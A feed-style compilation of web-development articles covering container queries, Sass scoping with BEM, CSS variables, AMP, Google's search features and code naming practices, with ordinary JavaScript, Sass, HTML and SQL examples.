Responsive Components: a Solution to the Container Queries Problem

Container Queries, as in, the ability to style elements based on values from a particular element, like its width and height. We have media queries, but those are based on the viewport not individual elements. There are plenty of use cases for them. It's been said before, but I'll say it again, if container queries existed, the vast majority of media queries in CSS would actually be container queries.

Discussion about how to pull it off technologically gets interesting. In my mind, ideally, we get this ability right in CSS. The trouble with doing it this way is one of circularity. Not even in regards to being able to write CSS that triggers a scenario in which the query doesn't match anymore, which is tricky enough, but literally changing the long-standing single-pass way in which browsers render a page.

The trouble with container queries isn't finding the perfect syntax or convincing anyone they are needed, it's how browsers work.https://t.co/7ZxMczD4ag pic.twitter.com/DeHyR9zRuO

— CSS-Tricks (@Real_CSS_Tricks) February 1, 2018

There are plenty of takes at solving this. All JavaScript of course. Dave Rupert rounded some of them up here. They are all a bit different.

Seems to me the most well-suited JavaScript API for this is ResizeObserver. It's Chrome-only as I write, but here's a chart that should stay updated in time:

This browser support data is from Caniuse, which has more detail. A number indicates that browser supports the feature at that version and up.

Desktop

Chrome	Opera	Firefox	IE	Edge	Safari
64	No	No	No	No	No

Mobile / Tablet

iOS Safari	Opera Mobile	Opera Mini	Android	Android Chrome	Android Firefox
No	No	No	No	No	No

That was a heck of a lot of words to intro the fact that Philip Walton just wrote a hell of an article about doing just this. The core of it is that you use ResizeOveserver to toss classes onto elements, then style them with those classes. He concludes:

The strategy outlined in this article:

• Will work, today, on any website
• Is easy to implement (copy/paste-able)
• Performs just as well as a CSS-based solution
• Doesn’t require any specific libraries, frameworks, or build tools.
• Leverages progressive enhancement, so users on browser that lack the required APIs or have JavaScript disabled can still use the site.

The browser support for ResizeObserver is a little scary, but it's such a nice API I would expect more widespread support sooner than later.

Direct Link to Article — Permalink

---

Responsive Components: a Solution to the Container Queries Problem is a post from CSS-Tricks

from CSS-Tricks http://ift.tt/2sZ0ZIv
via IFTTT

Using Sass to Control Scope With BEM Naming

Controlling scope is something you probably don't tend to consider when working with CSS and Sass. We have had access to the ampersand (&) for quite some time now, which gives us a level of scope—but it's easy for it to lose its usefulness when you're nested quite deeply. The & can send us down a windy road of doom when we completely lose track of what it means and can be responsible for some really heavy bloat.

<1--more-->

Meanwhile, in JavaScript, we can control the scope of this by casting it as a variable at the point where it means what we will want it to. This is often at the start of a method or object:

function foo() {
  let self = this;

  return function() {
            
    // Self = foo(), even int his closure
    return self;
  }
}
    
// We need to instantiate foo() or its 'this' will be the window
let bar = new foo();

Now that we have self in the above context, we always have a reference to foo() regardless of where we might find ourselves within the function. This is really useful when we end up in setTimeout scenarios, closures or event handlers.

A quick example of an event will hopefully help to illustrate my point.

Using this markup:

<div class="component">
  <div class="component__child-element"></div>
</div>
<div class="component">
  <div class="component__child-element"></div>
</div>

We can add this JavaScript:

function foo() {

  // Load up all component child elements
  let childElements = [...document.querySelectorAll('.component__child-element')];
   
  // Loop each element and add an event listener
  childElements.map(element => {

      element.addEventListener('click', function(evt) {
          
        // Log what `this` currently is
        console.log(this);
      });
  });
}

// Create a new instance of foo
let bar = new foo();

In that code sample, if you click a component__child-element with your console open, this will report itself as the event target, which happens to be the element that we clicked. This isn't ideal if you thought it would reference foo().

Now, if we run the same sample with self in place of this in the event handler, the console will report an instance of foo() instead:

function foo() {
    
  // Control scope of this by storing it
  let self = this;
  
  // Load up all component child elements
  let childElements = [...document.querySelectorAll('.component__child-element')];
 
  // Loop each element and add an event listener
  childElements.map(element => {
    element.addEventListener('click', function(evt) {
      
      // Self will report itself as `foo()`
      console.log(self);
    });
  });
}

// Create a new instance of foo
let bar = new foo();

So, how does this relate to Sass?

I'm glad you stuck with me there, because that JavaScript example was a primer for what we're going to look at with Sass.

First, let's start with that same markup and some core styles.

<div class="component">
  <div class="component__child-element"></div>
</div>
<div class="component">
  <div class="component__child-element"></div>
</div>

.component {
  display: block;
  max-width: 30rem;
  min-height: 30rem;
  margin: 5rem auto;
  background: rebeccapurple;
  position: relative;
  border: 1px dashed rebeccapurple;
    
  &__child-element {
    display: block;
    width: 15rem;
    height: 15rem;
    border-radius: 50%;
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate3d(-50%, -50%, 0);
    background: white;
  }
}

This gives us a nice purple square with a white circle inside it. Nothing groundbreaking, but useful for this example.

See the Pen Square with Circle by Geoff Graham (@geoffgraham) on CodePen.

You'll probably notice that we're using BEM syntax, so let's go ahead and create a modifier.

We want an inverted version of .component that has a white background with a purple circle in it. So, let's go ahead and approach it how we'd probably think to do it straight away by including it in the same nested ruleset:

.component {
  // Other styles redacted for brevity 
  
  // The reversed modifier flips the colors around
  &--reversed {
    background: white;
    border-color: lightgray;
    
    &__child-element {
      background: rebeccapurple;
    }
  }
}

See the Pen Square with Circle by Geoff Graham (@geoffgraham) on CodePen.

Wait, why is this not working? The problem is that the & has a scope of .component--reversed, so &__child-element compiles to .component--reversed__child-element, which doesn't exists in the markup.

$self to the rescue!

Just like in the JavaScript we looked at before, we're going to cast our initial scope into a variable called $self. You can do it like this:

.component {
  $self: &;
}

That means that wherever we use $self in our component, it will compile to .component.

So let's refactor that reversed modifier, so that it actually works:

.component {
  $self: &; // Hey look, it's our new best friend!
  display: block;
  max-width: 30rem;
  min-height: 30rem;
  // Other styles redacted
  
  &--reversed {
    background: white;
    border-color: lightgray;
    
    // Here, we use $self to get the correct scope
    #{ $self }__child-element {
      background: rebeccapurple;
    }
  }
}

The compiled CSS for that element is now .component--reversed .component__child-element which of course exists and successfully turns the inner circle purple:

See the Pen 'Using Sass to Control Scope With BEM Naming' example by Andy Bell (@hankchizljaw) on CodePen.

Further exploration

One thing I like to do in my components is reference a parent's modifier within the element itself, rather than referencing the element within the modifier like we did earlier. This is to keep my styles grouped per element. For the same reason, I'll also put media queries within elements too.

I end up with code that looks like this:

// We're still within .component where $self has been declared.
&__child-element {
  display: block;
  width: 15rem;
  height: 15rem;
  border-radius: 50%;
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate3d(-50%, -50%, 0);
  background: white;
  
  // Flip the color when the parent is reversed
  #{ $self }--reversed & {
    background: rebeccapurple;
  }
}

Having access to $self as the root context gives us the flexibility to approach our modifiers like that with ease. Because $self is .component and & is .component__element, adding the --reversed portion generates us .component--reversed .component__element which is exactly what we wanted.

See the Pen 'Using Sass to Control Scope With BEM Naming' example by Andy Bell (@hankchizljaw) on CodePen.

A more advanced example

Now let's really push the boat out and write something interesting. We're going to layout three separate grids. Using $self, I'm going to change the color of the grid items using a sibling selector within a grid-item itself.

See the Pen 'Using Sass to Control Scope With BEM Naming' example by Andy Bell (@hankchizljaw) on CodePen.

Let's look at the Sass that affects the color:

&__item {
  // Item styles redacted for brevity

  // For each direct `.grid sibling`, make this item rebeccapurple
  #{ $self } + #{ $self } & {
    background: rebeccapurple;
  }
}

What that selector compiles to is .grid + .grid .grid__item. The combination of $self and & enables us to generate that within the context of the element which is our &. This is incredibly powerful for maintaining some sort of order within complex codebases.

Wrapping up

We've taken inspiration from JavaScript to control scope in our BEM components with Sass by using this little snippet at the root: $self: &. With the scope control, we gain flexibility to write clean, organized, BEM driven CSS when we are deep in a modifier or child element.

I hope this little tip will help you to improve your Sass. If it does, get in touch with me on Twitter or drop a comment below. It'll be great to see how gaining control of scope with Sass has helped you out.

---

Using Sass to Control Scope With BEM Naming is a post from CSS-Tricks

from CSS-Tricks http://ift.tt/2HROwcV
via IFTTT

Everything you need to know about CSS Variables

This is by far the biggest deep dive I've seen on CSS Variables posted to the web and it's merely Chapter One of complete e-book on the topic.

Truth is, I'm still on the thick of reading through this myself, but had to stop somewhere in the middle to write this up and share it because it's just that gosh-darned useful. For example, the post goes into great detail on three specific use cases for CSS Variables and breaks the code down to give a better understanding of what it does, in true tutorial fashion.

Scoping, inheritance, resolving multiple declarations, little gotchas—there's plenty in here for beginners and advanced developers alike.

OK, back to reading. 🤓

Direct Link to Article — Permalink

---

Everything you need to know about CSS Variables is a post from CSS-Tricks

from CSS-Tricks http://ift.tt/2nWp9P8
via IFTTT

Let’s Build a Custom Vue Router

How GPDR Will Change The Way You Develop

Europe’s imminent privacy overhaul means that we all have to become more diligent about what data we collect, how we collect it, and what we do with it. In our turbulent times, these privacy obligations are about ethics as well as law. Web developers have a major role to play here. After all, healthy data protection practice is as much about the development side — code, data, and security — as it is about the business side of process, information, and strategy.

from Articles on Smashing Magazine — For Web Designers And Developers http://ift.tt/2FaCsFc
via IFTTT

Google's Walled Garden: Are We Being Pushed Out of Our Own Digital Backyards?

Posted by Dr-Pete

Early search engines were built on an unspoken transaction — a pact between search engines and website owners — you give us your data, and we'll send you traffic. While Google changed the game of how search engines rank content, they honored the same pact in the beginning. Publishers, who owned their own content and traditionally were fueled by subscription revenue, operated differently. Over time, they built walls around their gardens to keep visitors in and, hopefully, keep them paying.

Over the past six years, Google has crossed this divide, building walls around their content and no longer linking out to the sources that content was originally built on. Is this the inevitable evolution of search, or has Google forgotten their pact with the people's whose backyards their garden was built on?

I don't think there's an easy answer to this question, but the evolution itself is undeniable. I'm going to take you through an exhaustive (yes, you may need a sandwich) journey of the ways that Google is building in-search experiences, from answer boxes to custom portals, and rerouting paths back to their own garden.

---

I. The Knowledge Graph

In May of 2012, Google launched the Knowledge Graph. This was Google's first large-scale attempt at providing direct answers in search results, using structured data from trusted sources. One incarnation of the Knowledge Graph is Knowledge Panels, which return rich information about known entities. Here's part of one for actor Chiwetel Ejiofor (note: this image is truncated)...

The Knowledge Graph marked two very important shifts. First, Google created deep in-search experiences. As Knowledge Panels have evolved, searchers have access to rich information and answers without ever going to an external site. Second, Google started to aggressively link back to their own resources. It's easy to overlook those faded blue links, but here's the full Knowledge Panel with every link back to a Google property marked...

Including links to Google Images, that's 33 different links back to Google. These two changes — self-contained in-search experiences and aggressive internal linking — represent a radical shift in the nature of search engines, and that shift has continued and expanded over the past six years.

More recently, Google added a sharing icon (on the right, directly below the top images). This provides a custom link that allows people to directly share rich Google search results as content on Facebook, Twitter, Google+, and by email. Google no longer views these pages as a path to a destination. Search results are the destination.

The Knowledge Graph also spawned Knowledge Cards, more broadly known as "answer boxes." Take any fact in the panel above and pose it as a question, and you're likely to get a Knowledge Card. For example, "How old is Chiwetel Ejiofor?" returns the following...

For many searchers, this will be the end of their journey. Google has answered their question and created a self-contained experience. Note that this example also contains links to additional Google searches.

In 2015, Google launched Medical Knowledge Panels. These gradually evolved into fully customized content experiences created with partners in the medical field. Here's one for "cardiac arrest" (truncated)...

Note the fully customized design (these images were created specifically for these panels), as well as the multi-tabbed experience. It is now possible to have a complete, customized content experience without ever leaving Google.

---

II. Live Results

In some specialized cases, Google uses private data partnerships to create customized answer boxes. Google calls these "Live Results." You've probably seen them many times now on weather, sports and stock market searches. Here's one for "Seattle weather"...

For the casual information seeker, these are self-contained information experiences with most or all of what we care about. Live Results are somewhat unique in that, unlike the general knowledge in the Knowledge Graph, each partnership represents a disruption to an industry.

These partnerships have branched out over time into even more specialized results. Consider, for example, "Snoqualmie ski conditions"...

Sports results are incredibly disruptive, and Google has expanded and enriched these results quite a bit over the past couple of years. Here's one for "Super Bowl 2018"...

Note that clicking any portion of this Live Result leads to a customized portal on Google that can no longer be called a "search result" in any traditional sense (more on portals later). Special sporting events, such as the 2018 Winter Olympics, have even more rich features. Here are some custom carousels for "Olympic snowboarding results"...

Note that these are multi-column carousels that ultimately lead to dozens of smaller cards. All of these cards click to more Google search results. This design choice may look strange on desktop and marks another trend — Google's shift to mobile-first design. Here's the same set of results on a Google Pixel phone...

Here, the horizontal scrolling feels more intuitive, and the carousel is the full-width of the screen, instead of feeling like a free-floating design element. These features are not only rich experiences on mobile screens, but dominate mobile results much more than they do two-column desktop results.

---

III. Carousels

Speaking of carousels, Google has been experimenting with a variety of horizontal result formats, and many of them are built around driving traffic back to Google searches and properties. One of the older styles of carousels is the list format, which runs across the top of desktop searches (above other results). Here's one for "Seattle Sounders roster"...

Each player links to a new search result with that player in a Knowledge Panel. This carousel expands to the width of the screen (which is unusual, since Google's core desktop design is fixed-width). On my 1920x1080 screen, you can see 14 players, each linking to a new Google search, and the option to scroll for more...

This type of list carousel covers a wide range of topics, from "cat breeds" to "types of cheese." Here's an interesting one for "best movies of 1984." The image is truncated, but the full result includes drop-downs to select movie genres and other years...

Once again, each result links to a new search with a Knowledge Panel dedicated to that movie. Another style of carousel is the multi-row horizontal scroller, like this one for "songs by Nirvana"...

In this case, not only does each entry click to a new search result, but many of them have prominent featured videos at the top of the left column (more on that later). My screen shows at least partial information for 24 songs, all representing in-Google links above the traditional search results...

A search for "laptops" (a very competitive, commercial term, unlike the informational searches above) has a number of interesting features. At the bottom of the search is this "Refine by brand" carousel...

Clicking on one of these results leads to a new search with the brand name prepended (e.g. "Apple laptops"). The same search shows this "Best of" carousel...

The smaller "Mentioned in:" links go to articles from the listed publishers. The main, product links go to a Google search result with a product panel. Here's what I see when I click on "Dell XPS 13 9350" (image is truncated)...

This entity live in the right-hand column and looks like a Knowledge Panel, but is commercial in nature (notice the "Sponsored" label in the upper right). Here, Google is driving searchers directly into a paid/advertising channel.

---

IV. Answers & Questions

As Google realized that the Knowledge Graph would never scale at the pace of the wider web, they started to extract answers directly from their index (i.e. all of the content in the world, or at least most of it). This led to what they call "Featured Snippets", a special kind of answer box. Here's one for "Can hamsters eat cheese?" (yes, I have a lot of cheese-related questions)...

Featured Snippets are an interesting hybrid. On the one hand, they're an in-search experience (in this case, my basic question has been answered before I've even left Google). On the other hand, they do link out to the source site and are a form of organic search result.

Featured Snippets also power answers on Google Assistant and Google Home. If I ask Google Home the same question about hamsters, I hear the following:

On the website TheHamsterHouse.com, they say "Yes, hamsters can eat cheese! Cheese should not be a significant part of your hamster's diet and you should not feed cheese to your hamster too often. However, feeding cheese to your hamster as a treat, perhaps once per week in small quantities, should be fine."

You'll see the answer is identical to the Featured Snippet shown above. Note the attribution (which I've bolded) — a voice search can't link back to the source, posing unique challenges. Google does attempt to provide attribution on Google Home, but as they use answers extracted from the web more broadly, we may see the way original sources are credited change depending on the use case and device.

This broader answer engine powers another type of result, called "Related Questions" or the "People Also Ask" box. Here's one on that same search...

These questions are at least partially machine-generated, which is why the grammar can read a little oddly — that's a fascinating topic for another time. If you click on "What can hamsters eat list?" you get what looks a lot like a Featured Snippet (and links to an outside source)...

Notice two other things that are going on here. First, Google has included a link to search results for the question you clicked on (see the purple arrow). Second, the list has expanded. The two questions at the end are new. Let's click "What do hamsters like to do for fun?" (because how can I resist?)...

This opens up a second answer, a second link to a new Google search, and two more answers. You can continue this to your heart's content. What's especially interesting is that this isn't just some static list that expands as you click on it. The new questions are generated based on your interactions, as Google tries to understand your intent and shape your journey around it.

My colleague, Britney Muller, has done some excellent research on the subject and has taken to calling these infinite PAAs. They're probably not quite infinite — eventually, the sun will explode and consume the Earth. Until then, they do represent a massively recursive in-Google experience.

---

V. Videos & Movies

One particularly interesting type of Featured Snippet is the Featured Video result. Search for "umbrella" and you should see a panel like this in the top-left column (truncated):

This is a unique hybrid — it has Knowledge Panel features (that link back to Google results), but it also has an organic-style link and large video thumbnail. While it appears organic, all of the Featured Videos we've seen in the wild have come from YouTube (Vevo is a YouTube partner), which essentially means this is an in-Google experience. These Featured Videos consume a lot of screen real-estate and appear even on commercial terms, like Rihanna's "umbrella" (shown here) or Kendrick Lamar's "swimming pools".

Movie searches yield a rich array of features, from Live Results for local showtimes to rich Knowledge Panels. Last year, Google completely redesigned their mobile experience for movie results, creating a deep in-search experience. Here's a mobile panel for "Black Panther"...

Notice the tabs below the title. You can navigate within this panel to a wealth of information, including cast members and photos. Clicking on any cast member goes to a new search about that actor/actress.

Although the search results eventually continue below this panel, the experience is rich, self-contained, and incredibly disruptive to high-ranking powerhouses in this space, including IMDB. You can even view trailers from the panel...

On my phone, Google displayed 10 videos (at roughly two per screen), and nine of those were links to YouTube. Given YouTube's dominance, it's difficult to say if Google is purposely favoring their own properties, but the end result is the same — even seemingly "external" clicks are often still Google-owned clicks.

---

VI. Local Results

A similar evolution has been happening in local results. Take the local 3-pack — here's one on a search for "Seattle movie theaters"...

Originally, the individual business links went directly to each of those business's websites. As of the past year or two, these instead go to local panels on Google Maps, like this one...

On mobile, these local panels stand out even more, with prominent photos, tabbed navigation and easy access to click-to-call and directions.

In certain industries, local packs have additional options to run a search within a search. Here's a pack for Chicago taco restaurants, where you can filter results (from the broader set of Google Maps results) by rating, price, or hours...

Once again, we have a fully embedded search experience. I don't usually vouch for any of the businesses in my screenshots, but I just had the pork belly al pastor at Broken English Taco Pub and it was amazing (this is my personal opinion and in no way reflects the taco preferences of Moz, its employees, or its lawyers).

The hospitality industry has been similarly affected. Search for an individual hotel, like "Kimpton Alexis Seattle" (one of my usual haunts when visiting the home office), and you'll get a local panel like the one below. Pardon the long image, but I wanted you to have the full effect...

This is an incredible blend of local business result, informational panel, and commercial result, allowing you direct access to booking information. It's not just organic local results that have changed, though. Recently, Google started offering ads in local packs, primarily on mobile results. Here's one for "tax attorneys"...

Unlike traditional AdWords ads, these results don't go directly to the advertiser's website. Instead, like standard pack results, they go to a Google local panel. Here's what the mobile version looks like...

In addition, Google has launched specialized ads for local service providers, such as plumbers and electricians. These appear carousel-style on desktop, such as this one for "plumbers in Seattle"...

Unlike AdWords advertisers, local service providers buy into a specialized program and these local service ads click to a fully customized Google sub-site, which brings us to the next topic — portals.

---

VII. Custom Portals

Some Google experiences have become so customized that they operate as stand-alone portals. If you click on a local service ad, you get a Google-owned portal that allows you to view the provider, check to see if they can handle your particular problem in your zip code, and (if not) view other, relevant providers...

You've completely left the search result at this point, and can continue your experience fully within this Google property. These local service ads have now expanded to more than 30 US cities.

In 2016, Google launched their own travel guides. Run a search like "things to do in Seattle" and you'll see a carousel-style result like this one...

Click on "Seattle travel guide" and you'll be taken to a customized travel portal for the city of Seattle. The screen below is a desktop result — note the increasing similarity to rich mobile experiences.

Once again, you've been taken to a complete Google experience outside of search results.

Last year, Google jumped into the job-hunting game, launching a 3-pack of job listings covering all major players in this space, like this one for "marketing jobs in Seattle"...

Click on any job listing, and you'll be taken to a separate Google jobs portal. Let's try Facebook...

From here, you can view other listings, refine your search, and even save jobs and set up alerts. Once again, you've jumped from a specialized Google result to a completely Google-controlled experience.

Like hotels, Google has dabbled in flight data and search for years. If I search for "flights to Seattle," Google will automatically note my current location and offer me a search interface and a few choices...

Click on one of these choices and you're taken to a completely redesigned Google Flights portal...

Once again, you can continue your journey completely within this Google-owned portal, never returning back to your original search. This is a trend we can expect to continue for the foreseeable future.

---

VIII. Hard Questions

If I've bludgeoned you with examples, then I apologize, but I want to make it perfectly clear that this is not a case of one or two isolated incidents. Google is systematically driving more clicks from search to new searches, in-search experiences, and other Google owned properties. This leads to a few hard questions...

Why is Google doing this?

Right about now, you're rushing to the comments section to type "For the money!" along with a bunch of other words that may include variations of my name, "sheeple," and "dumb-ass." Yes, Google is a for-profit company that is motivated in part by making money. Moz is a for-profit company that is motivated in part by making money. Stating the obvious isn't insight.

In some cases, the revenue motivation is clear. Suggesting the best laptops to searchers and linking those to shopping opportunities drives direct dollars. In traditional walled gardens, publishers are trying to produce more page-views, driving more ad impressions. Is Google driving us to more searches, in-search experiences, and portals to drive more ad clicks?

The answer isn't entirely clear. Knowledge Graph links, for example, usually go to informational searches with few or no ads. Rich experiences like Medical Knowledge Panels and movie results on mobile have no ads at all. Some portals have direct revenues (local service providers have to pay for inclusion), but others, like travel guides, have no apparent revenue model (at least for now).

Google is competing directly with Facebook for hours in our day — while Google has massive traffic and ad revenue, people on average spend much more time on Facebook. Could Google be trying to drive up their time-on-site metrics? Possibly, but it's unclear what this accomplishes beyond being a vanity metric to make investors feel good.

Looking to the long game, keeping us on Google and within Google properties does open up the opportunity for additional advertising and new revenue streams. Maybe Google simply realizes that letting us go so easily off to other destinations is leaving future money on the table.

Is this good for users?

I think the most objective answer I can give is — it depends. As a daily search user, I've found many of these developments useful, especially on mobile. If I can get an answer at a glance or in an in-search entity, such as a Live Result for weather or sports, or the phone number and address of a local restaurant, it saves me time and the trouble of being familiar with the user interface of thousands of different websites. On the other hand, if I feel that I'm being run in circles through search after search or am being given fewer and fewer choices, that can feel manipulative and frustrating.

Is this fair to marketers?

Let's be brutally honest — it doesn't matter. Google has no obligation to us as marketers. Sites don't deserve to rank and get traffic simply because we've spent time and effort or think we know all the tricks. I believe our relationship with Google can be symbiotic, but that's a delicate balance and always in flux.

In some cases, I do think we have to take a deep breath and think about what's good for our customers. As a marketer, local packs linking directly to in-Google properties is alarming — we measure our success based on traffic. However, these local panels are well-designed, consistent, and have easy access to vital information like business addresses, phone numbers, and hours. If these properties drive phone calls and foot traffic, should we discount their value simply because it's harder to measure?

Is this fair to businesses?

This is a more interesting question. I believe that, like other search engines before it, Google made an unwritten pact with website owners — in exchange for our information and the privilege to monetize that information, Google would send us traffic. This is not altruism on Google's part. The vast majority of Google's $95B in 2017 advertising revenue came from search advertising, and that advertising would have no audience without organic search results. Those results come from the collective content of the web.

As Google replaces that content and sends more clicks back to themselves, I do believe that the fundamental pact that Google's success was built on is gradually being broken. Google's garden was built on our collective property, and it does feel like we're slowly being herded out of our own backyards.

We also have to consider the deeper question of content ownership. If Google chooses to pursue private data partnerships — such as with Live Results or the original Knowledge Graph — then they own that data, or at least are leasing it fairly. It may seem unfair that they're displacing us, but they have the right to do so.

Much of the Knowledge Graph is built on human-curated sources such as Wikidata (i.e. Wikipedia). While Google undoubtedly has an ironclad agreement with Wikipedia, what about the people who originally contributed and edited that content? Would they have done so knowing their content could ultimately displace other content creators (including possibly their own websites) in Google results? Are those contributors willing participants in this experiment? The question of ownership isn't as easy as it seems.

If Google extracts the data we provide as part of the pact, such as with Featured Snippets and People Also Ask results, and begins to wall off those portions of the garden, then we have every right to protest. Even the concept of a partnership isn't always black-and-white. Some job listing providers I've spoken with privately felt pressured to enter Google's new jobs portal (out of fear of cutting off the paths to their own gardens), but they weren't happy to see the new walls built.

Google is also trying to survive. Search has to evolve, and it has to answer questions and fit a rapidly changing world of device formats, from desktop to mobile to voice. I think the time has come, though, for Google to stop and think about the pact that built their nearly hundred-billion-dollar ad empire.

Sign up for The Moz Top 10, a semimonthly mailer updating you on the top ten hottest pieces of SEO news, tips, and rad links uncovered by the Moz team. Think of it as your exclusive digest of stuff you don't have time to hunt down but want to read!

from The Moz Blog http://ift.tt/2CKRVXv
via IFTTT

AMP News

AMP is controversial, to say the least. Dave and I did a show on it about a year ago that to me felt fairly balanced in addressing some of the issues. One thing that isn't particularly controversial: it's fast. AMP pages are damn performant.

The most controversial bit is that carrot offered for using AMP: the search results news carousel. The carousel is extremely prominent in Google search results, and AMP is a one-way ticket to get in. You could make a site faster than AMP, but that doesn't meet the criteria for entry. Tim Kadlec:

there has been no indication of any attempt to address the first issue, that of incentivization and premium placement. In fact, not only has there been no attempt to fix it, it appears the AMP team is doubling-down on those incentives instead.

Doubling-down, as in, AMP stories will be released soon and will also enjoy premium placement on Google. Every indication is that the primary desire of people reaching for AMP is the preferential search results treatment. Gina Trapani:

In my experience people are motivated to use AMP… I’ve seen this from our clients…mostly because of SEO. They want it in that top stories carousel, they want that lightning bolt of approval in regular search results which is happening now.

Of course, Google can do whatever they want. They are an independent company and if they wanna tell us that we have to use a special format to have benefits on their platform, then that's the way it is. It doesn't mean we have to be happy about it. Hundreds of people have signed the AMP letter, which calls for two changes:

1. Instead of granting premium placement in search results only to AMP, provide the same perks to all pages that meet an objective, neutral performance criterion such as Speed Index. Publishers can then use any technical solution of their choice.
2. Do not display third-party content within a Google page unless it is clear to the user that they are looking at a Google product. It is perfectly acceptable for Google to launch a “news reader” but it is not acceptable to display a page that carries only third-party branding on what is actually a Google URL, nor to require that third party to use Google’s hosting in order to appear in search results.

Ethan Marcotte is concerned:

absent action from some sort of regulatory body, I’m not sure what influence you or I could exert to change the trajectory of AMP

...but thinks we could perhaps collectively have influence. Jeremy Keith has called some of the messaging behind AMP an outright lie:

I don’t think the developers working on the AMP format are intentionally deceptive (although they are engaging in some impressive cognitive gymnastics). The AMP ecosystem, on the other hand, that’s another story—the preferential treatment of Google-hosted AMP pages in the carousel and in search results; that’s messed up.

AMP is also expanding to other technology, notably email. Well, Gmail, that is. Fast, well-rendering, interactive emails seem like a hugely positive thing. Perhaps predictably at this point, people in that industry have similar concerns. Jason Rodriguez:

I’m an email guy. I’ve written three books on email, spoken at a bunch of conferences on the topic, and help build tools for other email folks at my day job. I love seeing the email platform grow and evolve. I love seeing people working on interesting ideas that make email more valuable for the subscribers that receive them.

So, you’d think I’d be thrilled by Google’s announcement about adding dynamic content and interactivity to Gmail with AMP for Email. You’d be wrong.

Jason's primary concern being that instead of improving support for what we already have, they've invented a new format and called it open-sourced, but have full control over it. However, with far more blockers in the way (e.g. ESPs not supporting the new MIME type) and less carrots to offer, it seems like a long shot it will happen.

I know I've covered a lot of negative news here, but that's mostly what I've been seeing. Strangely enough, I feel more interested in watching how this all shakes out than I am motivated to weigh in on either side.

---

AMP News is a post from CSS-Tricks

from CSS-Tricks http://ift.tt/2sTdQMc
via IFTTT

A Comprehensive Website Planning Guide (Part 2)

In Part 1, I emphasized on the importance of recognizing the purpose of your website, and why planning for the web is just as important as planning for anything else associated with your business. Today, I'd like to go into more detail of evaluating a plan, choosing web professionals, and determining your site structure. Writing The Plan (Or Proposal) Note: The following section is for designers, but everyone ought to understand this part of the process.

from Articles on Smashing Magazine — For Web Designers And Developers http://ift.tt/2HP1zfw
via IFTTT

Working Towards Better Naming

There is a quote that I bet every one of you has heard many times. You know the one. The one that reminds you how hard naming is.

Let’s talk names.

We talk often about how hard naming is, but it’s less common see people talk about how to get better at it. Even naming philosophies lend structure to naming, but don’t pick names for you. Names are more than just some hard thing we get needlessly caught up in. They're essential to good code. Good names can make a code base easy to pick up and work with. Bad names are hard to understand, or worse yet, prone to error.

Naming Examples

Let’s look at some examples in JavaScript.

function processData(data) {
  var result = JSON.parse(data);
  return result;
}

Reading only the function name, parameter name, and returned variable, we see that processData gets data and returns a result. These names have added nearly zero information to the reader. Code like this is easy to write when you just want to get it working or you're trying to stay flexible to changes, and that's okay. It's always a good idea to go over your code with fresh eyes to fix things, and names should be on your quality checklist.

Here's a more descriptive way we could have written the last example:

function parseJson(string) {
  var jsonObject = JSON.parse(string);
  return jsonObject;
}

Technology is one of the most abbreviation and acronym heavy fields there are, and they are key to great names. FTP is easier to read and understand than "File Transfer Protocol." In some cases though, the reader can be left out.

Here's an example where the abbreviations are convenient for the developer writing the code, but not so handy for anyone else who needs to read or contribute to it:

function cts(con, ack) {
  if (con && ack) {
    return true;
  }
  else {
    return false;
  }
}

Often I'll read code with an acronym and have to switch to my web browser to do a search, only to find results for car models. A perfect example of that is cts, which returns a lot of Cadillac results. ack does show up on a search, but I'd rather not leave it my text editor. con can be misunderstood many ways. Is it a connection? A count? A container? Maybe it's a scam. These things may be obvious if you are familiar with the code base, but it adds a learning curve to those joining the project. A few extra seconds can save several minutes for readers over years.

Here's the previous example written without abbreviations:

function clearToSend(connectionExists, acknowledgementStatus) {
  if (connectionExists && acknowledgementStatus) {
    return true;
  }
  else {
    return false;
  }
}

Let's turn to some HTML examples because HTML is perhaps the most name heavy language of them all.

<section class="new-promotion-parent">
  <img class="logo" src="small-square-logo-monochrome.png"/>
  <div class="get-your-coupon">
    <p>Get Your Coupon</p>
  </div>
</section>

We can imagine that the word "new" was used here likely because a designer was told to update the promotion-parent element, but to also keep support for the existing class, maybe for old HTML floating about. The term "new" is an accurate description for the first few months, but over time it becomes more and more ironic. A better idea might be to add a separate class that describes what is new. For example, if a new flat design is being implemented, then a class name of flat-design might work. For an added bonus, you can let the CSS from the existing promotion-parent class cascade if you'd like to reuse some of the styles.

Similarly, logo seems like a sensible class name at first. Inevitably, however, a second logo will come along somewhere, which gets the name alt-logo. The logos keep coming, and so do the increasingly bad names. Most assets have several variations, such as different shapes, sizes, color schemes and more. That said, small-square-logo-monochrome wouldn't be a great class name either, because the image itself should be able to be swapped without the class name becoming obsolete. A better idea might be a name that describes the role of the asset rather than the type or appearance.

Here, the language of the div has been used to name the div get-your-coupon. The content of an HTML document is meant to continually evolve; names are not. A coupon code today might be an email signup in the future, while keeping the same styles and functionality. HTML is one place where names are often too specific instead of too vague.

Here's that same HTML code taking the suggestions into consideration:

<section class="flat-design promotion-parent">
  <img class="promotion-branding-image" src="small-square-logo-monochrome.png"/>
  <div class="primary-promotion-text">
    <p>Get Your Coupon</p>
  </div>
</section>

We can even look at the names in a database for better naming. Tables often get used countless times across an application in several very different contexts.

Here's a simplified database table:

CREATE TABLE `book` (
  `id` int(12) NOT NULL,
  `title` varchar(50) NOT NULL,
  `author` varchar(50) NOT NULL,
  `type` bit(1) NOT NULL,
  `sort` int(12) NOT NULL,
  `order` varchar(25) NOT NULL,
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

What does type mean in the context of books? Does it mean fiction or non-fiction? Does it mean paperback or hardcover? Maybe it means physical or digital?

The sort column is equally confusing. Is it representing ASC or DESC? Does it represent which column is being used to sort? Maybe it decides if sorting is active? Or maybe it decides show the books in some other alternate order?

And then there's order. Aside from being equally ambiguous, order is a reserved word in MySQL and many other languages. You can work around this using backticks (`) for MySQL, but it's probably a better idea to avoid using reserved words altogether.

Here's how the table could be written in a more descriptive way:

CREATE TABLE `book` (
  `id` int(12) NOT NULL,
  `title` varchar(50) NOT NULL,
  `author` varchar(50) NOT NULL,
  `cover_type` bit(1) NOT NULL,
  `sort_order` int(12) NOT NULL,
  `purchase_order_number` varchar(25) NOT NULL,
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

Naming Conventions

Let's talk naming conventions.

if (oldmanshaven) {
  return true;
}

